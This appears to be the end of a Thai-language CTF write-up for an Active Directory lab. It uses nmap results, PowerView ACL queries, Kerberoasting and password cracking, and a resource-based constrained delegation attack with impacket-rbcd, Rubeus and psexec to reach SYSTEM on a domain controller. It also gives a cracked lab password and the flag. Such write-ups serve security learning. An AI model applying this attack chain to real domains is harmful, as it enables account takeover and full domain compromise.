3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: amongnud.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:33:9c:4b (VMware)
|_clock-skew: -3s
| smb2-time:
| date: 2025-09-20T07:32:00
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds
จะได้ว่า IP นี้เป็น Domain Controller จากนั้นใช้ Credential ที่มีกับเครื่องนี้ดู

จากคำสั่ง whoami /priv ทำให้รู้ว่า user นี้มีสิทธิ์ SeMachineAccountPrivilege อยู่ หมายความว่าสามารถใช้ user นี้ในการเพิ่ม computer object ใหม่เข้ามาใน AD ได้ ซึ่งถ้าหากว่า user นี้สามารถทำให้ computer account ใหม่ที่สร้างมา impersonate Administrator บน DC ได้เราก็จะได้ TGS ของ admin ใน DC เลย ดังนั้นตอนนี้ผมต้องเช็คก่อนว่ามี user ไหนบ้างที่มีสิทธิ์เขียน delegation (RBCD) ได้ โดย ผมทำการไปที่ path \temp เพื่อจะโหลด PowerView มาลงแต่มันมีอยู่ละ เลยใช้คำสั่ง
*Evil-WinRM* PS C:\temp> Get-ObjectAcl -Identity "DC01$" -ResolveGUIDs | ? {
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
}
จากผลลัพธ์ที่ได้หา user ที่มี ObjectAceType = ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity

จะเห็นว่ามี user นึงที่มีสิทธิ์นี้อยู่เลยทำการเอา SID ไป map หาว่าเป็น user คนไหน
*Evil-WinRM* PS C:\temp> ConvertFrom-SID S-1-5-21-4250126084-4050123634-2657093947-1109
AMONGNUD\svc_sqlserver
มันก็คือ user : svc_sqlserver ดังนั้นเป้าหมายของเราตอนนี้คือหาทางทำยังไงก็ได้เพื่อให้ได้ password ของ svc_sqlserver ผมเลยลองใช้วิธีแรกคือ dump TGS ticket ของ Service Account ออกมาดูเพื่อที่จะนำ TGS ticket ของ user: svc_sqlserver ไป crack เพื่อให้ได้ password
จากนั้น copy TGS ticket ไปใส่ไว้ในไฟล์และ crack ด้วย john (ที่จริงผมแนะนำให้ใช้ hashcat ในการ crack มากกว่าแต่เนื่องจากผมทำใน mac ซึ่งการ์ดจอไม่ได้ดีเลยไม่เสี่ยงดีกว่า 😅)
ได้มาแล้ว password คือ ShiatsuSummer2007 ต่อไปก็ได้เวลาเริ่มปรุงงง 🤤 เริ่มแรกทำการใช้ user: amongyud สร้าง computer account ขึ้นมาก่อน

จากนั้นใช้ impacket-rbcd เขียน delegation ไปที่ user ที่เราพึ่งสร้างโดยใช้สิทธิ์ของ svc_sqlserver ในการเขียน

จะเห็นว่า account ที่เราสร้างถูก allow ให้ impersonate บน DC01 แล้ว จากนั้นใช้ Rubeus.exe ขอ TGT/TGS ของ araiwa$ (ซึ่งก็เหมือนเดิมในเครื่องก็มีให้ใช้อีกแล้วใน path \Downloads)

ให้นำค่า rc4_hmac ของ araiwa$ ไปทำการขอ TGS สำหรับ Administrator

ซึ่งมันจะได้เป็นไฟล์ .cache มา ซึ่งในที่นี้จะได้ไฟล์ Administrator@cifs_DC01.amongnud.local@AMONGNUD.LOCAL.ccache ก็ทำการ export ไฟล์นี้ไปใส่ในตัวแปล KRB5CCNAME และใช้ ticket นั้นยิง psexec ก็จะได้ shell เป็น NT AUTHORITY\SYSTEM บน DC01

จากนั้นก็ไปเก็บ flag กันซึ่งอยู่ใน path C:\Users\Administrator\Desktop\root.txt>
Flag: TEMPEST{69f8048a1ae01f1fecefbba5ebe78e7e}
ก็จบไปแล้วนะครับสำหรับ write up นี้ของผมซึ่งอยากจะบอกว่าการแข่งนี้มีเวลาทั้งหมด 3 วันนั่งทำข้อ easy ไปแล้ว 2 วัน🥲 ซึ่งมันเป็นท่าที่ผมไม่เคยเจอด้วยเลยใช้เวลานานมาก แล้วก็ถ้าหากผมเขียนหรือให้ข้อมูลที่ผิดพลาดก็ขออภัยมา ณ ที่นี้ด้วยครับ รวมๆแล้วเป็นกิจกรรมที่สนุกมากๆครับ อยากให้ผู้จัดได้จัดกิจกรรมดีๆแบบนี้อีกต่อไปเยอะๆครับ ไว้เจอกันใหม่ blog หน้าครับผม